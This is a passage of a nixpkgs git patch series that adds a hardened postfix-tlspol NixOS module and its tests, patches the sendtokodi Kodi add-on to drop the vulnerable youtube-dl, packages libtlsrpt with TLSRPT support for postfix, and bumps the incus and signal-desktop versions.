-        SystemCallArchitectures = "native";
-        SystemCallFilter = [
-          "@system-service"
-          "~@privileged @resources"
-        ];
-        SystemCallErrorNumber = "EPERM";
-        SecureBits = [
-          "noroot"
-          "noroot-locked"
-        ];
-        RuntimeDirectory = "postfix-tlspol";
-        RuntimeDirectoryMode = "1750";
-        WorkingDirectory = "/var/cache/postfix-tlspol";
-        UMask = "0117";
+  config = mkMerge [
+    (mkIf (cfg.enable && config.services.postfix.enable && cfg.configurePostfix) {
+      # https://github.com/Zuplu/postfix-tlspol#postfix-configuration
+      services.postfix.config = {
+        smtp_dns_support_level = "dnssec";
+        smtp_tls_security_level = "dane";
+        smtp_tls_policy_maps =
+          let
+            address =
+              if (hasPrefix "unix:" cfg.settings.server.address) then
+                cfg.settings.server.address
+              else
+                "inet:${cfg.settings.server.address}";
+          in
+          [ "socketmap:${address}:QUERYwithTLSRPT" ];
       };
-    };
-  };
+
+      systemd.services.postfix = {
+        wants = [ "postfix-tlspol.service" ];
+        after = [ "postfix-tlspol.service" ];
+      };
+
+      users.users.postfix.extraGroups = [ "postfix-tlspol" ];
+    })
+
+    (mkIf cfg.enable {
+      environment.etc."postfix-tlspol/config.yaml".source =
+        format.generate "postfix-tlspol.yaml" cfg.settings;
+
+      environment.systemPackages = [ cfg.package ];
+
+      systemd.services.postfix-tlspol = {
+        after = [
+          "nss-lookup.target"
+          "network-online.target"
+        ];
+        wants = [
+          "nss-lookup.target"
+          "network-online.target"
+        ];
+        wantedBy = [ "multi-user.target" ];
+
+        description = "Postfix DANE/MTA-STS TLS policy socketmap service";
+        documentation = [ "https://github.com/Zuplu/postfix-tlspol" ];
+
+        # https://github.com/Zuplu/postfix-tlspol/blob/main/init/postfix-tlspol.service
+        serviceConfig = {
+          ExecStart = toString [
+            (lib.getExe cfg.package)
+            "-config"
+            "/etc/postfix-tlspol/config.yaml"
+          ];
+          ExecReload = "${lib.getExe' pkgs.util-linux "kill"} -HUP $MAINPID";
+          Restart = "always";
+          RestartSec = 5;
+
+          DynamicUser = true;
+
+          CacheDirectory = "postfix-tlspol";
+          CapabilityBoundingSet = [ "" ];
+          LockPersonality = true;
+          MemoryDenyWriteExecute = true;
+          NoNewPrivileges = true;
+          PrivateDevices = true;
+          PrivateTmp = true;
+          PrivateUsers = true;
+          ProcSubset = "pid";
+          ProtectClock = true;
+          ProtectControlGroups = true;
+          ProtectHome = true;
+          ProtectHostname = true;
+          ProtectKernelLogs = true;
+          ProtectKernelModules = true;
+          ProtectKernelTunables = true;
+          ProtectProc = "invisible";
+          ProtectSystem = "strict";
+          ReadOnlyPaths = [ "/etc/postfix-tlspol/config.yaml" ];
+          RemoveIPC = true;
+          RestrictAddressFamilies =
+            [
+              "AF_INET"
+              "AF_INET6"
+            ]
+            ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
+              "AF_UNIX"
+            ];
+          RestrictNamespace = true;
+          RestrictRealtime = true;
+          RestrictSUIDSGID = true;
+          SystemCallArchitectures = "native";
+          SystemCallFilter = [
+            "@system-service"
+            "~@privileged @resources"
+          ];
+          SystemCallErrorNumber = "EPERM";
+          SecureBits = [
+            "noroot"
+            "noroot-locked"
+          ];
+          RuntimeDirectory = "postfix-tlspol";
+          RuntimeDirectoryMode = "1750";
+          WorkingDirectory = "/var/cache/postfix-tlspol";
+          UMask = "0117";
+        };
+      };
+    })
+  ];
 }
diff --git a/nixos/tests/postfix-tlspol.nix b/nixos/tests/postfix-tlspol.nix
index 0c76257f6a5a..158540ff676a 100644
--- a/nixos/tests/postfix-tlspol.nix
+++ b/nixos/tests/postfix-tlspol.nix
@@ -8,6 +8,7 @@
   meta.maintainers = with lib.maintainers; [ hexa ];
 
   nodes.machine = {
+    services.postfix.enable = true;
     services.postfix-tlspol.enable = true;
   };
 
@@ -17,6 +18,7 @@
     import json
 
     machine.wait_for_unit("postfix-tlspol.service")
+    machine.succeed("systemctl show -P SupplementaryGroups postfix.service | grep postfix-tlspol")
 
     with subtest("Interact with the service"):
       machine.succeed("postfix-tlspol -purge")

From d12dc3121ba683d833bbac43c434eecb62ad7479 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 28 Jun 2025 23:39:34 +0200
Subject: [PATCH 1761/4511] nixos/postfix-tlspol: migrate to static user/group

This fixes postfix' membership in the postfix-tlspol group, since
memberships in a dynamically allocated group don't seem to work out.

Additionally this fixes a typo in the systemd hardening and the test now
prints the results of systemd-analyze security.

(cherry picked from commit df0eb78b31ea68334698f464c23550f1315507a4)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 11 +++++++++--
 nixos/tests/postfix-tlspol.nix                 |  4 +++-
 2 files changed, 12 insertions(+), 3 deletions(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index e86c65384663..16f04628c809 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -153,6 +153,12 @@ in
 
       environment.systemPackages = [ cfg.package ];
 
+      users.users.postfix-tlspol = {
+        isSystemUser = true;
+        group = "postfix-tlspol";
+      };
+      users.groups.postfix-tlspol = { };
+
       systemd.services.postfix-tlspol = {
         after = [
           "nss-lookup.target"
@@ -178,7 +184,8 @@ in
           Restart = "always";
           RestartSec = 5;
 
-          DynamicUser = true;
+          User = "postfix-tlspol";
+          Group = "postfix-tlspol";
 
           CacheDirectory = "postfix-tlspol";
           CapabilityBoundingSet = [ "" ];
@@ -208,7 +215,7 @@ in
             ++ lib.optionals (lib.hasPrefix "unix:" cfg.settings.server.address) [
               "AF_UNIX"
             ];
-          RestrictNamespace = true;
+          RestrictNamespaces = true;
           RestrictRealtime = true;
           RestrictSUIDSGID = true;
           SystemCallArchitectures = "native";
diff --git a/nixos/tests/postfix-tlspol.nix b/nixos/tests/postfix-tlspol.nix
index 158540ff676a..64da3703239a 100644
--- a/nixos/tests/postfix-tlspol.nix
+++ b/nixos/tests/postfix-tlspol.nix
@@ -18,7 +18,7 @@
     import json
 
     machine.wait_for_unit("postfix-tlspol.service")
-    machine.succeed("systemctl show -P SupplementaryGroups postfix.service | grep postfix-tlspol")
+    machine.succeed("getent group postfix-tlspol | grep :postfix")
 
     with subtest("Interact with the service"):
       machine.succeed("postfix-tlspol -purge")
@@ -26,6 +26,8 @@
       response = json.loads((machine.succeed("postfix-tlspol -query localhost")))
       machine.log(json.dumps(response, indent=2))
 
+
+    machine.log(machine.execute("systemd-analyze security postfix-tlspol.service | grep -v ✓")[1])
   '';
 
 }

From 5a50dd291e623912fe8c9bd27df6076f7b29c1f3 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sat, 28 Jun 2025 23:44:37 +0200
Subject: [PATCH 1762/4511] nixos/postfix-tlspol: fix config reload

Since we only pass a symlink to ExecStart we need to pass the backing
file as a reload trigger.

(cherry picked from commit 7874cc600524a2a529eda71f203dbc1a64496eea)
---
 nixos/modules/services/mail/postfix-tlspol.nix | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/nixos/modules/services/mail/postfix-tlspol.nix b/nixos/modules/services/mail/postfix-tlspol.nix
index 16f04628c809..dd49700734df 100644
--- a/nixos/modules/services/mail/postfix-tlspol.nix
+++ b/nixos/modules/services/mail/postfix-tlspol.nix
@@ -19,6 +19,7 @@ let
   cfg = config.services.postfix-tlspol;
 
   format = pkgs.formats.yaml_1_2 { };
+  configFile = format.generate "postfix-tlspol.yaml" cfg.settings;
 in
 
 {
@@ -148,8 +149,7 @@ in
     })
 
     (mkIf cfg.enable {
-      environment.etc."postfix-tlspol/config.yaml".source =
-        format.generate "postfix-tlspol.yaml" cfg.settings;
+      environment.etc."postfix-tlspol/config.yaml".source = configFile;
 
       environment.systemPackages = [ cfg.package ];
 
@@ -173,6 +173,8 @@ in
         description = "Postfix DANE/MTA-STS TLS policy socketmap service";
         documentation = [ "https://github.com/Zuplu/postfix-tlspol" ];
 
+        reloadTriggers = [ configFile ];
+
         # https://github.com/Zuplu/postfix-tlspol/blob/main/init/postfix-tlspol.service
         serviceConfig = {
           ExecStart = toString [

From 5511e3836ef5461fbe9bb02346eeb58b2ecabaa1 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Sun, 29 Jun 2025 00:01:13 +0200
Subject: [PATCH 1763/4511] nixos/tests/postfix-tlspol: assert empty policies
 for localhost

(cherry picked from commit d0218043a9c1154144fb5af6d7566f26e6604c5f)
---
 nixos/tests/postfix-tlspol.nix | 9 +++++++--
 1 file changed, 7 insertions(+), 2 deletions(-)

diff --git a/nixos/tests/postfix-tlspol.nix b/nixos/tests/postfix-tlspol.nix
index 64da3703239a..0d03c1d82052 100644
--- a/nixos/tests/postfix-tlspol.nix
+++ b/nixos/tests/postfix-tlspol.nix
@@ -10,9 +10,12 @@
   nodes.machine = {
     services.postfix.enable = true;
     services.postfix-tlspol.enable = true;
-  };
 
-  enableOCR = true;
+    services.dnsmasq = {
+      enable = true;
+      settings.selfmx = true;
+    };
+  };
 
   testScript = ''
     import json
@@ -26,6 +29,8 @@
       response = json.loads((machine.succeed("postfix-tlspol -query localhost")))
       machine.log(json.dumps(response, indent=2))
 
+      assert response["dane"]["policy"] == "", f"Unexpected DANE policy for localhost: {response["dane"]["policy"]}"
+      assert response["mta-sts"]["policy"] == "", f"Unexpected MTA-STS policy for localhost: {response["mta-sts"]["policy"]}"
 
     machine.log(machine.execute("systemd-analyze security postfix-tlspol.service | grep -v ✓")[1])
   '';

From 707edc89341dd80fd004856ff76ae08985a5916b Mon Sep 17 00:00:00 2001
From: Patrick Steinhardt <ps@pks.im>
Date: Fri, 27 Jun 2025 12:53:51 +0200
Subject: [PATCH 1764/4511] kodiPackages.sendtokodi: 0.9.557 -> 0.9.924

(cherry picked from commit af34e394ef1808ed488f871e67e15684b8b2b8ff)
---
 pkgs/applications/video/kodi/addons/sendtokodi/default.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/applications/video/kodi/addons/sendtokodi/default.nix b/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
index 6db0cb685c9c..a3d289dac3fb 100644
--- a/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
+++ b/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
@@ -9,13 +9,13 @@
 buildKodiAddon rec {
   pname = "sendtokodi";
   namespace = "plugin.video.sendtokodi";
-  version = "0.9.557";
+  version = "0.9.924";
 
   src = fetchFromGitHub {
     owner = "firsttris";
     repo = "plugin.video.sendtokodi";
-    rev = "v${version}";
-    hash = "sha256-Ga+9Q7x8+sEmQmteHbSyCahZ/T/l28BAEM84w7bf7z8=";
+    tag = "v${version}";
+    hash = "sha256-ycp5/NbRX2rcRRpbpX6LlplyxdfoIwCw39EyQDcyzOU=";
   };
 
   patches = [

From 3b374d51708af102849740b9a3bd7cb2acf4a823 Mon Sep 17 00:00:00 2001
From: Patrick Steinhardt <ps@pks.im>
Date: Fri, 27 Jun 2025 12:58:27 +0200
Subject: [PATCH 1765/4511] kodiPackages.sendtokodi: fix PYTHON_PATH conflict
 with Kodi and yt-dlp

The "sendtokodi" addon bundles its own versions of "youtube-dl" and
"yt-dlp". This causes two issues:

  - The "youtube-dl" addon is unmaintained and suspect to known
    vulnerabilities.

  - Both of these dependencies also exist as packaged versions, so the
    vendoring causes duplications.

The first issue is being addressed by patching out support for
"youtube-dl", which in any case is only really needed for supporting
Python 2. The second issue is being addressed by removing the bundled
version of "yt-dlp" and instead injecting our packaged version of this
dependency via `PYTHON_PATH`.

Using `PYTHON_PATH` creates some new problems though, because Kodi
packages a bunch of Python libraries like "requests" as addons. The
consequence is that we may have a conflict in our PYTHON_PATH, where
dependencies may be provided both by such Kodi addons and by transitive
dependencies of "yt-dlp".

One obvious solution would be to stop replacing the bundled version of
"yt-dlp", but that would reintroduce the second issue explained further
up.

Instead, fix the issue by replacing the bundled version of "yt-dlp" with
the contents of the packaged version thereof. This allows us to drop the
PYTHON_PATH workaround and thus resolves the conflicts.

Reported-by: Aaron Andersen <aaron@fosslib.net>
(cherry picked from commit d5030747200b11fd5e882dec5f4e05cf61228de8)
---
 .../video/kodi/addons/sendtokodi/default.nix  | 23 +++++++++----------
 ...ged-yt-dlp.patch => use-yt-dlp-only.patch} | 18 +++++++--------
 2 files changed, 20 insertions(+), 21 deletions(-)
 rename pkgs/applications/video/kodi/addons/sendtokodi/{use-packaged-yt-dlp.patch => use-yt-dlp-only.patch} (50%)

diff --git a/pkgs/applications/video/kodi/addons/sendtokodi/default.nix b/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
index a3d289dac3fb..1fa75900b7d4 100644
--- a/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
+++ b/pkgs/applications/video/kodi/addons/sendtokodi/default.nix
@@ -4,6 +4,7 @@
   fetchFromGitHub,
   kodi,
   inputstreamhelper,
+  requests,
 }:
 
 buildKodiAddon rec {
@@ -19,27 +20,25 @@ buildKodiAddon rec {
   };
 
   patches = [
-    # Unconditionally depend on packaged yt-dlp. This removes the ability to
-    # use youtube_dl, which is unmaintained and considered vulnerable (see
-    # CVE-2024-38519).
-    ./use-packaged-yt-dlp.patch
+    # Use yt-dlp, only. This removes the ability to use youtube_dl, which is
+    # unmaintained and considered vulnerable (see CVE-2024-38519).
+    ./use-yt-dlp-only.patch
   ];
 
   propagatedBuildInputs = [
     inputstreamhelper
+    requests
   ];
 
   postPatch = ''
-    # Remove vendored youtube-dl and yt-dlp libraries.
-    rm -r lib/
+    # Remove youtube-dl, which is unmaintained and vulnerable.
+    rm -r lib/youtube_dl lib/youtube_dl_version
+    # Replace yt-dlp with our own packaged version thereof.
+    rm -r lib/yt_dlp
+    echo "${lib.strings.getVersion kodi.pythonPackages.yt-dlp}" >lib/yt_dlp_version
+    ln -s ${kodi.pythonPackages.yt-dlp}/${kodi.pythonPackages.python.sitePackages}/yt_dlp lib/
   '';
 
-  passthru = {
-    # Instead of the vendored libraries, we propagate yt-dlp via the Python
-    # path.
-    pythonPath = with kodi.pythonPackages; makePythonPath [ yt-dlp ];
-  };
-
   meta = with lib; {
     homepage = "https://github.com/firsttris/plugin.video.sendtokodi";
     description = "Plays various stream sites on Kodi using yt-dlp";
diff --git a/pkgs/applications/video/kodi/addons/sendtokodi/use-packaged-yt-dlp.patch b/pkgs/applications/video/kodi/addons/sendtokodi/use-yt-dlp-only.patch
similarity index 50%
rename from pkgs/applications/video/kodi/addons/sendtokodi/use-packaged-yt-dlp.patch
rename to pkgs/applications/video/kodi/addons/sendtokodi/use-yt-dlp-only.patch
index b53e1a434fff..fb889b2b2319 100644
--- a/pkgs/applications/video/kodi/addons/sendtokodi/use-packaged-yt-dlp.patch
+++ b/pkgs/applications/video/kodi/addons/sendtokodi/use-yt-dlp-only.patch
@@ -1,18 +1,18 @@
 diff --git a/service.py b/service.py
-index 024ad9a..6ef71dd 100644
+index 5d588682..99123b4b 100644
 --- a/service.py
 +++ b/service.py
-@@ -243,11 +243,8 @@ def playlistIndex(url, playlist):
+@@ -323,12 +323,7 @@ if not sys.argv[2]:
+     xbmcaddon.Addon().openSettings()
+     exit()
  
- 
- # Use the chosen resolver while forcing to use youtube_dl on legacy python 2 systems (dlp is python 3.6+)
+-# Use the chosen resolver while forcing to use youtube_dl on legacy python 2 systems (dlp is python 3.6+)
 -if xbmcplugin.getSetting(int(sys.argv[1]),"resolver") == "0" or sys.version_info[0] == 2:
--    from lib.youtube_dl import YoutubeDL
+-    from youtube_dl import YoutubeDL
 -else:
--    from lib.yt_dlp import YoutubeDL
--    
+-   # import lib.yt_dlp as yt_dlp
+-    from yt_dlp import YoutubeDL
 +from yt_dlp import YoutubeDL
-+
+ 
  # patch broken strptime (see above)
  patch_strptime()
- 

From 1d3103c254517e85a3447f4903c1f5a95edba6cc Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 03:12:41 +0200
Subject: [PATCH 1766/4511] libtlsrpt: init at 0.5.0

A low-level C Library to implement TLSRPT into a MTA.

(cherry picked from commit 9e46b1f5148cdb461d4ca8b6e6a71d5dd133996b)
---
 pkgs/by-name/li/libtlsrpt/package.nix | 37 +++++++++++++++++++++++++++
 1 file changed, 37 insertions(+)
 create mode 100644 pkgs/by-name/li/libtlsrpt/package.nix

diff --git a/pkgs/by-name/li/libtlsrpt/package.nix b/pkgs/by-name/li/libtlsrpt/package.nix
new file mode 100644
index 000000000000..ba0a7670a037
--- /dev/null
+++ b/pkgs/by-name/li/libtlsrpt/package.nix
@@ -0,0 +1,37 @@
+{
+  lib,
+  stdenv,
+  fetchFromGitHub,
+  autoreconfHook,
+}:
+
+stdenv.mkDerivation (finalAttrs: {
+  pname = "libtlsrpt";
+  version = "0.5.0";
+
+  outputs = [
+    "out"
+    "dev"
+    "man"
+  ];
+
+  src = fetchFromGitHub {
+    owner = "sys4";
+    repo = "libtlsrpt";
+    tag = "v${finalAttrs.version}";
+    hash = "sha256-h7bWxxllKFj8+/FfC4yHSmz+Qij1BcgV4OCQZr1OkA8=";
+  };
+
+  nativeBuildInputs = [ autoreconfHook ];
+
+  separateDebugInfo = true;
+
+  meta = {
+    description = "Low-level C Library to implement TLSRPT into a MTA";
+    homepage = "https://github.com/sys4/libtlsrpt";
+    changelog = "https://github.com/sys4/libtlsrpt/blob/${finalAttrs.src.tag}/CHANGELOG.md";
+    license = lib.licenses.lgpl3Plus;
+    maintainers = with lib.maintainers; [ hexa ];
+    platforms = lib.platforms.all;
+  };
+})

From b84847d54b7be39d00e75f2f275f6c9d84027877 Mon Sep 17 00:00:00 2001
From: Martin Weinelt <hexa@darmstadt.ccc.de>
Date: Tue, 10 Jun 2025 03:26:36 +0200
Subject: [PATCH 1767/4511] postfix: build with tlsrpt support

Adds support for TLSRPT (RFC8460) error reporting.

https://www.postfix.org/TLSRPT_README.html
(cherry picked from commit 5abc715019a3df7d98db7be78dd3c1f4816dca55)
---
 pkgs/by-name/po/postfix/package.nix | 7 ++++++-
 1 file changed, 6 insertions(+), 1 deletion(-)

diff --git a/pkgs/by-name/po/postfix/package.nix b/pkgs/by-name/po/postfix/package.nix
index 03f555ec84a3..e6faada241ee 100644
--- a/pkgs/by-name/po/postfix/package.nix
+++ b/pkgs/by-name/po/postfix/package.nix
@@ -26,6 +26,8 @@
   libmysqlclient,
   withSQLite ? false,
   sqlite,
+  withTLSRPT ? true,
+  libtlsrpt,
 }:
 
 let
@@ -48,6 +50,7 @@ let
       "-DHAS_LDAP"
       "-DUSE_LDAP_SASL"
     ]
+    ++ lib.optional withTLSRPT "-DUSE_TLSRPT"
   );
   auxlibs = lib.concatStringsSep " " (
     [
@@ -62,6 +65,7 @@ let
     ++ lib.optional withMySQL "-lmysqlclient"
     ++ lib.optional withSQLite "-lsqlite3"
     ++ lib.optional withLDAP "-lldap"
+    ++ lib.optional withTLSRPT "-ltlsrpt"
   );
 
 in
@@ -90,7 +94,8 @@ stdenv.mkDerivation rec {
     ++ lib.optional withPgSQL libpq
     ++ lib.optional withMySQL libmysqlclient
     ++ lib.optional withSQLite sqlite
-    ++ lib.optional withLDAP openldap;
+    ++ lib.optional withLDAP openldap
+    ++ lib.optional withTLSRPT libtlsrpt;
 
   hardeningDisable = [ "format" ];
   hardeningEnable = [ "pie" ];

From 495bb876e63452ed6aa0257acf58a35ae1925548 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Tue, 10 Jun 2025 09:19:38 -0400
Subject: [PATCH 1768/4511] incus: 6.12.0 -> 6.13.0

https://discuss.linuxcontainers.org/t/incus-6-13-has-been-released/23899
https://github.com/lxc/incus/releases/tag/v6.13.0
(cherry picked from commit b1dd47cbb0d1c07fbb7db341c6cf74b85a836f8e)
---
 pkgs/by-name/in/incus/1995.diff   | 93 -------------------------------
 pkgs/by-name/in/incus/package.nix | 11 ++--
 2 files changed, 4 insertions(+), 100 deletions(-)
 delete mode 100644 pkgs/by-name/in/incus/1995.diff

diff --git a/pkgs/by-name/in/incus/1995.diff b/pkgs/by-name/in/incus/1995.diff
deleted file mode 100644
index 092bd149d856..000000000000
--- a/pkgs/by-name/in/incus/1995.diff
+++ /dev/null
@@ -1,93 +0,0 @@
-diff --git a/internal/server/firewall/drivers/drivers_consts.go b/internal/server/firewall/drivers/drivers_consts.go
-index 2790e07a605..944bca5930e 100644
---- a/internal/server/firewall/drivers/drivers_consts.go
-+++ b/internal/server/firewall/drivers/drivers_consts.go
-@@ -1,8 +1,6 @@
- package drivers
- 
- import (
--	"encoding/json"
--	"fmt"
- 	"net"
- )
- 
-@@ -67,62 +65,12 @@ type NftListSetsOutput struct {
- 
- // NftListSetsEntry structure to read JSON output of nft set listing.
- type NftListSetsEntry struct {
--	Metainfo *NftMetainfo `json:"metainfo,omitempty"`
--	Set      *NftSet      `json:"set,omitempty"`
--}
--
--// NftMetainfo structure representing metainformation returned by nft.
--type NftMetainfo struct {
--	Version           string `json:"version"`
--	ReleaseName       string `json:"release_name"`
--	JSONSchemaVersion int    `json:"json_schema_version"`
-+	Set *NftSet `json:"set,omitempty"`
- }
- 
- // NftSet structure to parse the JSON of a set returned by nft -j list sets.
- type NftSet struct {
--	Family string    `json:"family"`
--	Name   string    `json:"name"`
--	Table  string    `json:"table"`
--	Type   string    `json:"type"`
--	Handle int       `json:"handle"`
--	Flags  []string  `json:"flags"`
--	Elem   ElemField `json:"elem"`
--}
--
--// ElemField supports both string elements (IP, MAC) and dictionary-based CIDR elements.
--// In order to parse it correctly a custom unsmarshalling is defined in drivers_nftables.go .
--type ElemField struct {
--	Addresses []string // Stores plain addresses and CIDR notations as strings.
--}
--
--// UnmarshalJSON handles both plain strings and CIDR dictionaries inside `elem`.
--func (e *ElemField) UnmarshalJSON(data []byte) error {
--	var rawElems []any
--	err := json.Unmarshal(data, &rawElems)
--	if err != nil {
--		return err
--	}
--
--	for _, elem := range rawElems {
--		switch v := elem.(type) {
--		case string:
--			// Plain address (IPv4, IPv6, or MAC).
--			e.Addresses = append(e.Addresses, v)
--		case map[string]any:
--			// CIDR notation (prefix dictionary).
--			prefix, ok := v["prefix"].(map[string]any)
--			if ok {
--				addr, addrOk := prefix["addr"].(string)
--				lenFloat, lenOk := prefix["len"].(float64) // JSON numbers are float64 by default.
--				if addrOk && lenOk {
--					e.Addresses = append(e.Addresses, fmt.Sprintf("%s/%d", addr, int(lenFloat)))
--				}
--			}
--
--		default:
--			return fmt.Errorf("Unsupported element type in NFTables set: %v", elem)
--		}
--	}
--
--	return nil
-+	Family string `json:"family"`
-+	Name   string `json:"name"`
-+	Table  string `json:"table"`
- }
-diff --git a/internal/server/firewall/drivers/drivers_nftables.go b/internal/server/firewall/drivers/drivers_nftables.go
-index fd9be2e2fbb..f803de9dff5 100644
---- a/internal/server/firewall/drivers/drivers_nftables.go
-+++ b/internal/server/firewall/drivers/drivers_nftables.go
-@@ -387,7 +387,7 @@ func (d Nftables) NetworkClear(networkName string, _ bool, _ []uint) error {
- 		return fmt.Errorf("Failed clearing nftables rules for network %q: %w", networkName, err)
- 	}
- 
--	err = d.RemoveIncusAddressSets("inet")
-+	err = d.RemoveIncusAddressSets("bridge")
- 	if err != nil {
- 		return fmt.Errorf("Error in deletion of address sets: %w", err)
- 	}
diff --git a/pkgs/by-name/in/incus/package.nix b/pkgs/by-name/in/incus/package.nix
index 68044192d84f..7dc60062e7d7 100644
--- a/pkgs/by-name/in/incus/package.nix
+++ b/pkgs/by-name/in/incus/package.nix
@@ -1,11 +1,8 @@
 import ./generic.nix {
-  hash = "sha256-hgZc30SRnmALTvuD32dNuO0r4pfpXXvN4CtJqn2fGuk=";
-  version = "6.12.0";
-  vendorHash = "sha256-/GwJG6kmjbiUUh0AWQ+IUbeK1kRcuWrwmNdTzH5LT38=";
-  patches = [
-    # fix nft, remove 6.13
-    ./1995.diff
-  ];
+  hash = "sha256-f02BBEZ9EqLWJNxJ+Qj8PtcgkRT2Dy/hwUA/1aAZXC8=";
+  version = "6.13.0";
+  vendorHash = "sha256-g71ORfg/BMucohBfPWwSbyLdmo5SpkStUKbszZFFaKQ=";
+  patches = [ ];
   nixUpdateExtraArgs = [
     "--override-filename=pkgs/by-name/in/incus/package.nix"
   ];

From 785e25a674c0c2df46e6db159faf4f7594814a88 Mon Sep 17 00:00:00 2001
From: "Adam C. Stephens" <adam@valkor.net>
Date: Fri, 27 Jun 2025 17:59:11 +0000
Subject: [PATCH 1769/4511] incus: 6.13.0 -> 6.14.0

(cherry picked from commit 8faca0ae187d17ad113738a97d253d6663393b1d)
---
 pkgs/by-name/in/incus/package.nix | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/in/incus/package.nix b/pkgs/by-name/in/incus/package.nix
index 7dc60062e7d7..5c58eaca42f7 100644
--- a/pkgs/by-name/in/incus/package.nix
+++ b/pkgs/by-name/in/incus/package.nix
@@ -1,7 +1,7 @@
 import ./generic.nix {
-  hash = "sha256-f02BBEZ9EqLWJNxJ+Qj8PtcgkRT2Dy/hwUA/1aAZXC8=";
-  version = "6.13.0";
-  vendorHash = "sha256-g71ORfg/BMucohBfPWwSbyLdmo5SpkStUKbszZFFaKQ=";
+  hash = "sha256-py1QqOmcg51T9EQEYBsOP611vCzZhF4AAqcweo9+D/Q=";
+  version = "6.14.0";
+  vendorHash = "sha256-YRif8fmfXqc5Xn9xI382iko9WUzSucKKqrWEdU0gfSU=";
   patches = [ ];
   nixUpdateExtraArgs = [
     "--override-filename=pkgs/by-name/in/incus/package.nix"

From 9c0cab930381278d2eacf92fe7b2ad3440d8f45f Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:44:00 +0200
Subject: [PATCH 1770/4511] signal-desktop-bin: 7.58.0 -> 7.59.0

(cherry picked from commit bd5e8df4a95a1a3ccbe3ec85d9aaf007808f48a6)
---
 pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
index 9bb3f231165c..32f8f782b044 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop.nix
@@ -1,12 +1,12 @@
 { callPackage, commandLineArgs }:
 callPackage ./generic.nix { inherit commandLineArgs; } rec {
   pname = "signal-desktop-bin";
-  version = "7.58.0";
+  version = "7.59.0";
 
   libdir = "opt/Signal";
   bindir = libdir;
   extractPkg = "dpkg-deb -x $downloadedFile $out";
 
   url = "https://updates.signal.org/desktop/apt/pool/s/signal-desktop/signal-desktop_${version}_amd64.deb";
-  hash = "sha256-zZ63AE+qb0lrGtGUtU4FV6pHDO2DUV2vknz3a4+f4aA=";
+  hash = "sha256-SgTbV7KrGVdN87hgfjxamKikBxVHPIiaXAV2K3kljsU=";
 }

From 6fa2da79cae34528877df94c3fa47c9bdad37158 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:44:45 +0200
Subject: [PATCH 1771/4511] signal-desktop-bin(aarch64-linux): 7.58.0 -> 7.59.0

(cherry picked from commit 38d24556c5870eca10b8c32f8c5e7803dc9458cb)
---
 .../si/signal-desktop-bin/signal-desktop-aarch64.nix        | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
index 1f1f5344e11f..ff66f0d21c8e 100644
--- a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
+++ b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-aarch64.nix
@@ -1,7 +1,7 @@
 { callPackage, commandLineArgs }:
 callPackage ./generic.nix { inherit commandLineArgs; } {
   pname = "signal-desktop-bin";
-  version = "7.58.0";
+  version = "7.59.0";
 
   libdir = "usr/lib64/signal-desktop";
   bindir = "usr/bin";
@@ -10,6 +10,6 @@ callPackage ./generic.nix { inherit commandLineArgs; } {
     bsdtar -xf $downloadedFile -C "$out"
   '';
 
-  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09183198-signal-desktop/signal-desktop-7.58.0-1.fc42.aarch64.rpm";
-  hash = "sha256-0Ix+1SdvmKLVbtGzbjUupvVzdWAJFNQ6sSAIt+T9fHo=";
+  url = "https://download.copr.fedorainfracloud.org/results/useidel/signal-desktop/fedora-42-aarch64/09213968-signal-desktop/signal-desktop-7.59.0-1.fc42.aarch64.rpm";
+  hash = "sha256-nGpSWlTJ1M6UL7V3o57KByfh55LL/p3I9h+XmoJhuec=";
 }

From d6e3604de03f27fcc2f2490fe2ba600b18e03e29 Mon Sep 17 00:00:00 2001
From: Gliczy <129636582+Gliczy@users.noreply.github.com>
Date: Thu, 26 Jun 2025 15:45:13 +0200
Subject: [PATCH 1772/4511] signal-desktop-bin(darwin): 7.58.0 -> 7.59.0

(cherry picked from commit 3e11a5b102854e9a76a4bf10ade592eb09941f82)
---
 pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix b/pkgs/by-name/si/signal-desktop-bin/signal-desktop-darwin.nix
